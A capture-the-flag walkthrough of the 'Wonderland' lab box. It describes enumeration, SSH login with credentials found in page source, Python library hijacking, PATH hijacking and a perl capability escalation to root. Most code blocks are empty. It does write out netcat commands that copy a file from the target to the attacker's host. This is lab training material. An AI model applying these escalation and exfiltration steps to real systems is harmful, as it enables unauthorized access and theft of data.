Box Stats
| Box Info | Details |
|---|---|
| Box Name : | Wonderland |
| Difficulty : | Medium |
| Play : | Wonderland |
| Recommended : | Yes 
|
Summary
This is a box that tought me some new things, i really enjoyed pwning it! Getting shell is the easy part, then we have to deal with multiple privilege escalations. The first 2 are about hijacking and then last one is about capabilities. Let’s start!
Enumeration/Reconnaissance
Now as always let’s continue with a nmap scan.
1 |
|
Once we visit the web page we see a message Follow the White Rabbit.. Checking the source code nothing interesting, let’s fire up a gobuster scan.
1 |
|
Visiting the /r directory we see a message Keep Going., then i guessed the whole path. Before the message said Follow the White Rabbit. So:
1 |
|
Shell as alice
Here we go, checking the source code i found some credentials alice:HowDothTheLittleCrocodileImproveHisShiningTail. We can use them with SSH.
1 |
|
Shell as rabbit
While doing my manual enumeration for privesc i found on sudo -l that we can run a python file as user rabbit.
1 |
|
Sadly we can’t edit it.
1 |
|
Here i stuck for a long time, source code has nothing interesting only a poem. I noticed the random module so i googled python random module privilege escalation and i found out the solution this privesc is about python library hijacking.
Running this command:
1 |
|
Show us the list of directories that python looks in when importing modules. The first one '' is the current directory.
So we will create a new file in the same directory as the walrus_and_the_carpenter.py, named random.py because it imports random. So the next time we run the file will load our version of the random module, because it appears first in the search paths.
1 |
|
Shell as hatter
Moving to rabbit directory, i see a binary teaParty when we run it just says a message:
1 |
|
Let’s move it to our machine to analyze it, we can do that using netcat!
On our box we execute this -> nc -l -p 5555 > teaParty
On target box we send the file -> nc -w 3 $your_tun0_ip 5555 < teaParty
Running strings on it we can see that it executes date:
1 |
|
We can see it calls date without specifying the path. This means we can hijack the PATH and execute our date. We will make a date file with /bin/bash in and then we will change the PATH to look in our directory first, so it will execute our date file first.
1 |
|
Checking hatter’s directory i found his password, so we can login using SSH as hatter.
1 |
|
1 |
|
Shell as root
This final privesc is about capabilities. Capabilities are similar to SUID but they limit user’s permissions etc.
Let’s scan the system for capabilities.
1 |
|
We can see perl has the CAP_SETUID capability this mean we can change the UID. GTFOBINS has the answer.
1 |
|
Let’s read the flags. (They’re reversed LOL)
1 |
|
Thank You
Thank you for taking the time to read my writeup. If you don’t understand something from the writeup or want to ask me something feel free to contact me through discord(0xatom#8707) or send me a message through twitter 0xatom
Until next time keep pwning hard! 